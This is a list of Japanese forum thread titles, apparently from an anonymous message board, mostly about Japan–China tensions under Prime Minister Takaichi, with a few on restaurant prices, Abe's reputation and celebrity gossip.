- 高市政権にパイプ役不在…日中高まる緊張 公明党の連立離脱影響、自民内にも懸念「自分でまいた種は自分で刈り取ってもらわないと」 [ぐれ★]
- 小野田氏、”中国経済への依存“に警戒感 高市首相の国会答弁巡り [煮卵★]
- 【こんなの初めて…】民泊には既にキャンセルも 中国の渡航自粛で [ぐれ★]
- 台湾声明 「台湾は独立した主権国家、中国は台湾を統治したことがなく、中国は口出しする権利ない」 中国が高市首相に抗議で ★7 [お断り★]
- 【悲報】自国で旅客機を開発して自国内で飛ばすだけで採算取れる国と税金チューチューして終わった国、戦争になればどっちが勝つと思う? [616817505]
- 干した猿みたいなミイラ顔の女がネトウヨだらけなのは何故なのか… [667744927]
- 【悲報】ココイチ、売上増収も客離れが止まらずジリ貧。「さらなる値上げも視野」😳 [518915984]
- 【なぜ】安倍晋三の評価、地味に上がってる模様… [343591364]
- 中国国営放送「日本は琉球をただちに中国に返還せよ」 キタ━━━━(゚∀゚)━━━━!!!!! [314039747]
- 【画像】セクシー女優・天沢りんさん「お休み頂いてた半年間でこんな体になりました🪽🤍」👉予想通りの展開に [242521385]
